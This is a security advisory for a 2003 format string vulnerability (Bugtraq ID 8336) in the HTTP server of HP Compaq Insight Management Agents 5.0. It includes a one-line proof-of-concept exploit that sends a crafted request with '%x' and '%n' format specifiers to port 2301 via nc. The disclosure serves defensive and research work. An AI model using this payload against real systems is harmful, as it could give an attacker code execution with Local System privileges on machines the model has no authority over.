HP Compaq Insight Management Agent Format String Vulnerability

BID:8336

Info

HP Compaq Insight Management Agent Format String Vulnerability

Bugtraq ID: 8336
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 04 2003 12:00AM
Updated: Aug 04 2003 12:00AM
Credit: Discovery is credited to <[email protected]>.
Vulnerable: Compaq Insight Management Agents 5.0 H
Not Vulnerable:

Discussion

HP Compaq Insight Management Agent Format String Vulnerability

The Compaq Management Agent HTTP server is vulnerable to a format string issue. A remote attacker may be able to exploit this vulnerability in order to execute arbitrary code with Local System privileges.

Exploit / POC

HP Compaq Insight Management Agent Format String Vulnerability

The following proof of concept was supplied:

$ printf "GET /<\x21.DebugSearchPaths>?Url=`perl -e 'print "A"x14'`BBBB`perl -e 'print
".%%x"x1208'`%%n> HTTP/1.0\n\n" | nc 192.168.235.131 2301

Solution / Fix

HP Compaq Insight Management Agent Format String Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

HP Compaq Insight Management Agent Format String Vulnerability

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